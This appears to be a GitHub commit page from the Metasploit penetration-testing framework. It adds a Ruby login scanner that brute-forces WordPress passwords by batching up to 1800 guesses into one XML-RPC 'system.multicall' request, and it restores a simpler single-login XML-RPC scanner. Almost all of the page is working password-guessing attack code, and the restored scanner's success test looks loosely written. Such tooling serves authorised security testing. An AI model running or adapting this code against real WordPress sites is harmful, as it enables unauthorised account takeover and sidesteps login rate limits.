Skip to content

Commit

Permalink
Bring wordpress_xmlrpc_login back, make wordpress_multicall as new
Browse files Browse the repository at this point in the history
  • Loading branch information
wchen-r7 committed Jan 23, 2016
1 parent 0f4304a commit 0f9cf81
Show file tree
Hide file tree
Showing 6 changed files with 505 additions and 311 deletions.
149 changes: 149 additions & 0 deletions lib/metasploit/framework/login_scanner/wordpress_multicall.rb
@@ -0,0 +1,149 @@
require 'metasploit/framework/login_scanner/http'
require 'nokogiri'

module Metasploit
module Framework
module LoginScanner

class WordpressMulticall < HTTP

# @!attribute passwords
# @return [Array]
attr_accessor :passwords

# @!attribute chunk_size
# @return [Fixnum]
attr_accessor :chunk_size

# @!attribute block_wait
# @return [Fixnum]
attr_accessor :block_wait

# @!attribute base_uri
# @return [String]
attr_accessor :base_uri

# @!attribute wordpress_url_xmlrpc
# @return [String]
attr_accessor :wordpress_url_xmlrpc

def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1800
end

# Returns the XML data that is used for the login.
#
# @param user [String] username
# @return [Array]
def generate_xml(user)
xml_payloads = []

# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
# Wordpress limitation which is 1700 maximum.
passwords.each_slice(chunk_size) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
end
xml_payloads << document.to_xml
end

xml_payloads
end

# Sends an HTTP request to Wordpress.
#
# @param xml [String] XML data.
# @return [void]
def send_wp_request(xml)
opts =
{
'method' => 'POST',
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
'data' => xml,
'ctype' =>'text/xml'
}

client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)

if res && res.code != 200
sleep(block_wait * 60)
end

@res = res
end


# Attempts to login.
#
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
if result.nil?
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
credential.private = pass
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
return Result.new(result_opts)
end
end
end

result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}

result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
return Result.new(result_opts)
end

end
end
end
end


180 changes: 55 additions & 125 deletions lib/metasploit/framework/login_scanner/wordpress_rpc.rb
@@ -1,5 +1,4 @@
require 'metasploit/framework/login_scanner/http'
require 'nokogiri'

module Metasploit
module Framework
Expand All @@ -8,143 +7,74 @@ module LoginScanner
# Wordpress XML RPC login scanner
class WordpressRPC < HTTP

# @!attribute passwords
# @return [Array]
attr_accessor :passwords

# @!attribute chunk_size
# @return [Fixnum]
attr_accessor :chunk_size

# @!attribute block_wait
# @return [Fixnum]
attr_accessor :block_wait

# @!attribute base_uri
# @return [String]
attr_accessor :base_uri

# @!attribute wordpress_url_xmlrpc
# @return [String]
attr_accessor :wordpress_url_xmlrpc

def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1800
end
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
configure_http_client(http_client)

# Returns the XML data that is used for the login.
#
# @param user [String] username
# @return [Array]
def generate_xml(user)
xml_payloads = []
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end

# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
# Wordpress limitation which is 1700 maximum.
passwords.each_slice(chunk_size) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
begin
http_client.connect

request = http_client.request_cgi(
'uri' => uri,
'method' => method,
'data' => generate_xml_request(credential.public,credential.private),
)
response = http_client.send_recv(request)

if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response)
elsif response.body =~ /<value><int>-32601<\/int><\/value>/
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response)
end
xml_payloads << document.to_xml
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end

xml_payloads
end

# Sends an HTTP request to Wordpress.
#
# @param xml [String] XML data.
# @return [void]
def send_wp_request(xml)
opts =
{
'method' => 'POST',
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
'data' => xml,
'ctype' =>'text/xml'
}
Result.new(result_opts)

client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)

if res && res.code != 200
sleep(block_wait * 60)
end

@res = res
end

# This method generates the XML data for the RPC login request
# @param user [String] the username to authenticate with
# @param pass [String] the password to authenticate with
# @return [String] the generated XML body for the request
def generate_xml_request(user, pass)
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
xml << '<methodCall>'
xml << '<methodName>wp.getUsers</methodName>'
xml << '<params><param><value>1</value></param>'
xml << "<param><value>#{user}</value></param>"
xml << "<param><value>#{pass}</value></param>"
xml << '</params>'
xml << '</methodCall>'
xml
end

# Attempts to login.
#
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
if result.nil?
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
credential.private = pass
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
return Result.new(result_opts)
end
end
end

result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}

result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
return Result.new(result_opts)
# (see Base#set_sane_defaults)
def set_sane_defaults
@method = "POST".freeze
super
end

end
end
end
end


0 comments on commit 0f9cf81

Please sign in to comment.